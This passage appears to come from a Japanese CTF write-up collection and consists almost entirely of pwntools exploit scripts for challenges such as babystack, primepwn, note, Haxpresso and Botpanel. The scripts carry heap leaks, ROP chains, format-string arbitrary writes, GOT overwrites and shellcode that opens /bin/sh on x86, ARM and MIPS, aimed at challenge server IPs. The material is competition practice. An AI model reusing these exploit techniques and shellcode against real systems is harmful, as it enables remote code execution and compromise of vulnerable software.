        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./aaa'], execute)
else:
    conn = process(['./urlparse2'])
    # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def create(size, url):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('size: ', str(size))
    conn.sendlineafter('URL: ', url)

def encode(idx):
    conn.sendlineafter('> ', '2')
    conn.sendlineafter('index: ', str(idx))

def decode(idx):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('index: ', str(idx))

def _list():
    conn.sendlineafter('> ', '4')

def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('index: ', str(idx))


log.info('Pwning')

create(0x80, '%31%31%31')
create(0x80, '%31%31%31')
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8
log.info('libc_base = 0x%x', libc_base)
delete(1)
delete(0)
create(0x80, 'xxxx')
create(0x80, 'yyyy')
create(0x80, 'wwww')
create(0x80, 'zzzz')
delete(0)
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0
log.info('heap_base = 0x%x', heap_base)
delete(0)
delete(0)
delete(0)

create(0x100, '\x10'*0x100)
delete(0)
create(0, '')
create(0x1000, 'hoge')
create(0x1000, 'hoge')
create(0x60, 'targetfastbin')
create(0x1000-0x70, 'hoge')
create(0x100, 'BANPEI')
encode(5)
delete(4)
delete(2)   # free fastbin

import urllib

for _ in range(0x20-2):
    create(0x100, 'hoge')

payload = 'h'*0x30
payload += '%25%37%31' + '%25%30%30' * 7
payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed)))
create(0x100, payload)
decode(0)
create(0x60, 'a')
payload = 'x'*0xb + p64(libc_base + 0xf1147)
create(0x60, payload)

conn.interactive()

babtstack (pwn)

よくわからんがcanaryがあるはずなのに、exloitできてしまった。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10005
LHOST = "127.0.0.1"
LPORT = 10005

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./bs')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a9c
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bs'], execute)
else:
    conn = process(['./bs'])
    # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation

pop_rbp = 0x00400870
leave_ret =  0x00400955
pop_rdi = 0x00400c03
pop_rsi_r15 = 0x00400c01
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x400bfa
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400be0
puts_plt = elf.symbols['puts']
read_plt = elf.symbols['read']
read_got = 0x0000000000601fd0


log.info('Pwning')

conn.recvuntil('send?')
conn.sendline(str(0x20c0))
time.sleep(0.01)

payload = 'x'*(0x20c0 - 0x10a8)
rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt)
rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0)
rop += p64(call_r12) + p64(0x0)*7
rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret)
payload += rop

conn.send(payload.ljust(0x20c0, 'x'))
conn.recvuntil('goodbye.\n')

libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740
log.info('libc_base = 0x%x', libc_base)

rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390)
rop = '\x00'*0x8 + p64(libc_base + 0x4526a)
conn.sendline(rop)
conn.interactive()

primepwn (pwn)

long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10008
LHOST = "127.0.0.1"
LPORT = 10008

# libc = ELF('')
elf = ELF('./primepwn')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a87
        b *0x400a3a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./primepwn'], execute)
else:
    conn = process(['./primepwn'])
    # conn = process(['./primepwn'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.recvuntil('(xxxx+')
salt = conn.recv(len('cACBELX3C9pULUUB'))
print salt
conn.recvuntil(' == ')
hashed = conn.recvline()[:-1]
print hashed
import hashlib
import string
import itertools

def search(s, h):
    chars = string.ascii_letters + string.digits

    for el in itertools.permutations(chars, 4):
        x = ''.join(el)
        if hashlib.sha256(x+s).hexdigest() == h:
            return x
    return None

conn.sendline(search(salt, hashed))

shellcode = '''hoge: syscall;
xchg ecx,esi;
mov dh,18;
jmp hoge'''

shell = 'mov rsp, 0x601f00'

print u64(asm(shellcode))
conn.sendline(str(u64(asm(shellcode))))
time.sleep(1)
conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh()))
time.sleep(1)
conn.interactive()

note (pwn)

stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10007
LHOST = "127.0.0.1"
LPORT = 10007

# libc = ELF('./libc.so.6')
elf = ELF('./note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400fe9
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./note'], execute)
else:
    conn = process(['./note'])
    # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def edit(payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Note:', payload)

def show():
    conn.sendlineafter('> ', '2')
    conn.recvuntil('Note:')
    return conn.recvline()[:-1]

def save():
    conn.sendlineafter('> ', '3')
    conn.recvuntil('Saved!')

def change(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('ID:', payload)

'''
0x00401003: pop rdi ; ret  ;  (1 found)
0x00401001: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
'''
pop_rdi = 0x00401003
pop_rsi_r15 = 0x00401001
set_regs = 0x00400ffa
call_r12 = 0x00400fd8
leave_ret = 0x00400e3d

printf_plt = elf.symbols['printf']
puts_got = 0x601f90
write_file = 0x400D4D
main = 0x400E3F

log.info('Pwning')

conn.sendline('%s'*0x69)
payload = 'x'*168 + p64(0x602110)
#payload = 'x'*168 + 'z' *8
payload = payload.ljust(0x100, 'y')
edit(payload)
payload = 'a'*0x64
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110)
payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4
payload += p64(leave_ret)
conn.recvuntil('> ')
conn.sendline(payload)

libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690
print hex(libc_base)

payload = 'x'*8 + p64(libc_base + 0x4526a)
conn.sendline(payload)
conn.interactive()

Midnight Sun CTF 2018 writeup

Babyshells - Pwn (50 + 15)

x86, ARM, MIPSのshellcodeを送るだけ。

x86

#!/usr/bin/env python
from pwn import *

# context(os='linux', arch='i386')
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 7000
LHOST = "127.0.0.1"
LPORT = 7000

# libc = ELF('')
elf = ELF('./chall')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./chall'], execute)
else:
    conn = process(['./chall'])
    # conn = process(['./chall'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.sendline('1')
conn.sendline(asm(shellcraft.sh()))
conn.interactive()

ARM

shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
conn.sendline('1')
conn.sendline(shell)
conn.interactive()

MIPS

shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
conn.sendline('1')
conn.sendline(shell)

Haxpresso - Pwn (300)

書き込みができるポインタが任意に制御できるので、GOTに書き換えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('./libc.so')
elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute)
else:
    conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'])
    # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation

def add(name):
    conn.sendlineafter(' > ', '1')
    conn.sendlineafter(': ', '1')
    conn.sendlineafter(': ', 'y')
    conn.sendafter(': ', name)
    conn.recvuntil('added!')

def edit(idx, name):
    conn.sendlineafter(' > ', '4')
    conn.sendlineafter(': ', str(idx))
    conn.sendafter(': ', name)
    conn.recvuntil('edited!')


log.info('Pwning')


add('a')
add('b')
conn.sendlineafter(' > ', '3')
conn.sendlineafter(': ', '0')
conn.sendlineafter(': ', 'n')
conn.sendlineafter(' > ', '3')
conn.recvuntil('Name: ')
buf = conn.recvline()
print repr(buf)
libc_base = u32(buf[0:4]) - 0xd661
log.info('libc_base = 0x%x', libc_base)
conn.sendlineafter(': ', 'n')
conn.sendlineafter(': ', 'n')

payload = 'x'*0x24 + p32(0x0804c030)
edit(0, payload)
edit(1, p32(libc_base + 0x3a940))

conn.sendline('4')
conn.sendline('0')
conn.sendline('/bin/sh\x00')

conn.interactive()

Botpanel - Pwn (300 + 10)

はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log


RHOST = "52.30.206.11"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

libc = ELF('./libc.so')
elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute)
else:
    conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0'])
    # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation




offset = 12
password = '>@!ADMIN!@<'
log.info('Pwning')

# leak
payload = '..%43$p.%7$p'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
libc_base = int(conn.recv(10),16) - 0x00018540 - 247
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
conn.recvuntil('Incorrect')

payload = '..%3$p\x00'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
bin_base = int(conn.recv(10),16) - 0x10c0
log.info('bin_base = 0x%x', bin_base)

count_addr = stack_addr - 0x60
payload = p32(count_addr+1) + '%9c%12$n'
conn.sendafter('Panel password:', payload)

ret_addr = stack_addr - 0x3c


def write_word(addr, value):
    addr1 = addr
    addr2 = addr+2
    value1 = 0xffff & value
    value2 = 0xffff & (value >> 16)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%%d$hn' % (0xffff&addr2,85)
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%5$hn' % (value1)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%6$hn' % (value2)
    conn.sendafter('Panel password:', payload)

write_word(ret_addr, libc_base + 0x3a940)
write_word(ret_addr+8, libc_base + 0x15902b)


conn.sendline(password)
conn.interactive()